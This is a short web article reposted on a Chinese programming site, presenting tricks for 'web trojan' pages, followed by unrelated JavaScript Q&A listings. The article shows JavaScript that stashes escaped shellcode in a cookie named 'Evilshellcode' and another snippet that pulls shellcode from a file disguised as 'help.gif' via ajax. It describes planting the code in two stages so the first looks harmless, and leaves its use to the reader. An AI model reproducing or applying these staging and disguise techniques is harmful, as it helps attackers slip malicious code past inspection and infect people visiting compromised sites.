文章 专题 AI工具 学习 下载 问答 源码 最近更新
PHP
会员中心 讲师中心 微信公众号
首页 > web前端 > js教程 > 正文

一个网马的tips实现分析_黑客性质

php中文网
发布： 2016-05-16 18:15:01
原创
1252人浏览过

cookie示例代码：

复制代码 代码如下:

//存放
function setCookie(sVar, sVal){
theCookie = sVar + '=' + sVal + '; expires=Fri, 1 Jul 2020 09:45:27 UTC';
document.cookie = theCookie;}
shellcode="%9090%9090%00e8%0000%5e00%8b64%303d%0000%8100%00c7%0008%8b00%83c7%1dc0%20b9%0001%a500%fde2%e0ff%00e8%0000%6a00%eb08%1b6c%46c6%ed79%ef56%9836%8afe%aa0e%0dfc%9e7c%bbf9%b035%2d49%7edb%e2d8%8e73%0e4e%75ec......"
setCookie('Evilshellcode', shellcode);
//取出
function getCookie(sVar){
cookies = document.cookie.split('; ');
for(var i = 1; i if(cookies[i - 1].split('=')[0] == sVar){return cookies[i - 1].split('=')[1];}}
return '';
}
a=unescape(getCookie('Evilshellcode'))


cookie存放的话，可以挂两次，第一次挂cookie写入代码无害，第二次再取出来结合新挂的代码来运行。怎么用随你了。

ajax来调用
复制代码 代码如下:


var shellcode = $.ajax({
url: "help.gif",
async: false
}).responseText

help.gif内容

%9090%9090%00e8%0000%5e00%8b64%303d%0000%8100%00c7%0008%8b00%83c7%1dc0%20b9%0001%a500%fde2%e0ff%00e8%0000%6a00%eb08%1b6c%46c6%ed79%ef56%9836%8afe%aa0e%0dfc%9e7c%bbf9%b035%2d49%7edb%e2d8%8e73%0e4e%75ec
最佳 Windows 性能的顶级免费优化软件
最佳 Windows 性能的顶级免费优化软件

每个人都需要一台速度更快、更稳定的 PC。随着时间的推移，垃圾文件、旧注册表数据和不必要的后台进程会占用资源并降低性能。幸运的是，许多工具可以让 Windows 保持平稳运行。

下载
来源：php中文网
收藏 点赞
上一篇：jQuery队列控制方法详解queue()/dequeue()/clearQueue()_jquery 下一篇：基于JQuery的asp.net树实现代码_jquery
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系admin@php.cn
最新问题
js怎样实现文字转语音 Web Speech API语音合成 JavaScript中实现文字转语音最直接的方式是使用WebSpeechAPI的SpeechSynthesis。1.通过创建SpeechSynthesisUtterance对象并调用speechSynthesis.speak()方法实现基础语音合成；2.使用volume、rate、pitch属性分别控制音量（0-1）、语速（默认1）和音调（默认1）；3.通过speechSynthesis.getVoices()获取可用语音列表，并异步设置voice属性以切换语音；4.WebSpeechAPI的局
2025-06-12 23:57:01
436
js如何操作Web Audio API Web Audio API的6个常用功能 WebAudioAPI是浏览器中处理和合成音频的核心工具，其关键在于AudioContext，通过创建并连接各种节点实现音频处理链。它的6个常用功能包括：1.音频源（如AudioBufferSourceNode）；2.音频效果（如GainNode、BiquadFilterNode）；3.音频分析（AnalyserNode）；4.音频空间化（PannerNode）；5.音频合成（OscillatorNode）；6.音频目标（AudioContext.destination）。使用时需先创建Audi
2025-06-12 23:12:01
437
js怎样计算字符串长度 js字符串计算的6个常用方法 JS中字符串长度计算有多种方法，需根据场景选择。①length属性最简单但可能错误处理Unicode字符；②split()方法分割字符串为数组后统计长度；③Array.from()能正确处理如emoji等Unicode字符；④正则表达式可用于匹配特定字符后统计；⑤循环遍历可自定义规则计算长度；⑥Intl.SegmenterAPI实验性支持更精确的文本分割。JS字符串内部以UTF-16编码存储，length返回代码单元数量，对增补字符如emoji会出错，需用Array.from()或Intl.Se
2025-06-12 22:51:01
959
JS中的try...catch有什么用？如何处理错误？ try...catch用于捕获和处理JavaScript中同步代码的运行时错误，防止程序崩溃。其结构为：try{执行可能出错的代码}catch(error){处理错误}，若try无错误则catch不执行；例如访问未定义变量时可捕获异常并输出错误信息；JavaScript常见错误类型包括Error、TypeError、ReferenceError、SyntaxError（无法被捕获）、RangeError等，可通过error.name或instanceof区分；finally块无论是否发生错误都会
2025-06-12 22:39:01
621
JS中的事件冒泡是什么？如何阻止？ 事件冒泡是JavaScript中事件从子元素向祖先元素逐级触发的传播机制。当你在嵌套结构中点击一个元素，事件会从目标元素开始向上冒泡，依次触发父元素的同类型事件，默认情况下大多数事件在冒泡阶段执行。例如点击按钮时，先执行按钮的点击处理函数，再执行外层div的点击处理函数。要阻止事件冒泡，可以使用event.stopPropagation()方法，它阻止事件继续向上传播但不影响当前元素其他监听器的执行；若同时想阻止默认行为，还需使用event.preventDefault()。实际开发中，如菜单弹
2025-06-12 21:36:02
686
js怎样实现模态框弹出 js实现模态框的4种交互设计方案 实现模态框的核心在于控制HTML元素的显示隐藏及交互逻辑，1.HTML结构需包含遮罩层与内容区域；2.CSS设置初始隐藏及弹出样式；3.JavaScript控制显示、隐藏及交互事件。四种实现方案分别为：基础模态框通过display属性切换显隐；动画模态框使用transition与类控制动画；事件委托优化多按钮场景；Promise模态框返回异步结果。兼容性方面需注意旧浏览器对classList、position:fixed及CSS动画的支持问题。可借助jQueryUI、Bootstrap等库简化实
2025-06-12 17:57:01
890
js怎样操作WebGPU渲染引擎 6个核心步骤带你入门下一代图形渲染 JS操作WebGPU渲染引擎的入门步骤包括：1.获取WebGPU设备对象：通过navigator.gpu请求适配器和设备，建立与GPU通信的桥梁；2.创建渲染管线：使用device.createRenderPipeline定义顶点和片元着色器、颜色格式等流程；3.配置渲染目标：通过canvas.getContext('webgpu')设置Canvas作为输出目标；4.创建命令编码器：记录渲染命令；5.创建渲染通道：设置渲染目标和清除颜色等参数；6.提交渲染命令：将打包好的命令缓冲区提交给GPU执
2025-06-12 15:42:01
184
JS中的事件委托是什么？如何实现？ 事件委托是利用JS事件冒泡机制，将子元素的事件监听委托给父元素处理。其核心原理是通过在父元素上绑定一个事件监听器，统一管理所有子元素的事件触发，从而减少监听器数量，提升性能，尤其适用于动态内容或大量子元素的情况。例如：一个包含几十个按钮的列表，若每个按钮都单独绑定事件，会增加内存消耗，但通过将事件绑定到父容器（如），可显著优化资源使用。实现步骤包括：1.找到父级元素并绑定事件；2.在回调函数中通过event.target获取实际触发事件的子元素；3.根据目标元素的属性判断是否执行对应操作。以点击
2025-06-10 18:06:02
732
JS中的map方法怎么用？有什么作用？ JavaScript中的map方法用于对数组每个元素进行处理并返回新数组。map是数组方法，通过传入函数处理每个元素，返回新数组，原数组不变，例如numbers.map(n=>n*2)返回新数组。常见用途包括：1.数据转换，如提取对象字段；2.不推荐直接调用异步函数，应结合Promise.all使用；3.React中配合JSX渲染列表。注意点有：不修改原数组、不能中途break、别滥用做副作用、必须返回值构建新数组。掌握map能提升代码简洁性和可读性。
2025-06-10 15:24:06
161
JS中的typeof能检测哪些类型？如何使用？ typeof操作符在JavaScript中用于检测变量的数据类型，它能识别的基本类型包括：1."number"、2."string"、3."boolean"、4."undefined"、5."object"（含null）、6."function"、7."symbol"、8."bigint"；但需要注意typeofnull返回"object"是历史问题，并不代表null是对象；判断数组应使用Array.isArray()，更复杂的对象类型建议用Object.prototype.toString.c
2025-06-10 14:39:01
626
相关专题
更多>
热门推荐
开源免费商场系统广告
热门教程
更多>
相关推荐
热门推荐
最新课程
最新下载
更多>
网站特效
网站源码
网站素材
前端模板
关于我们 免责申明 意见反馈 讲师合作 广告合作 最新更新
php中文网：公益在线php培训，帮助PHP学习者快速成长！
关注服务号 技术交流群
app下载
PHP中文网订阅号
每天精选资源文章推送
PHP中文网APP
随时随地碎片化学习
PHP中文网抖音号
发现有趣的

Copyright 2014-2025 https://www.php.cn/ All Rights Reserved | php.cn | 湘ICP备2023035733号

  • PHP学习

  • 技术支持

  • 返回顶部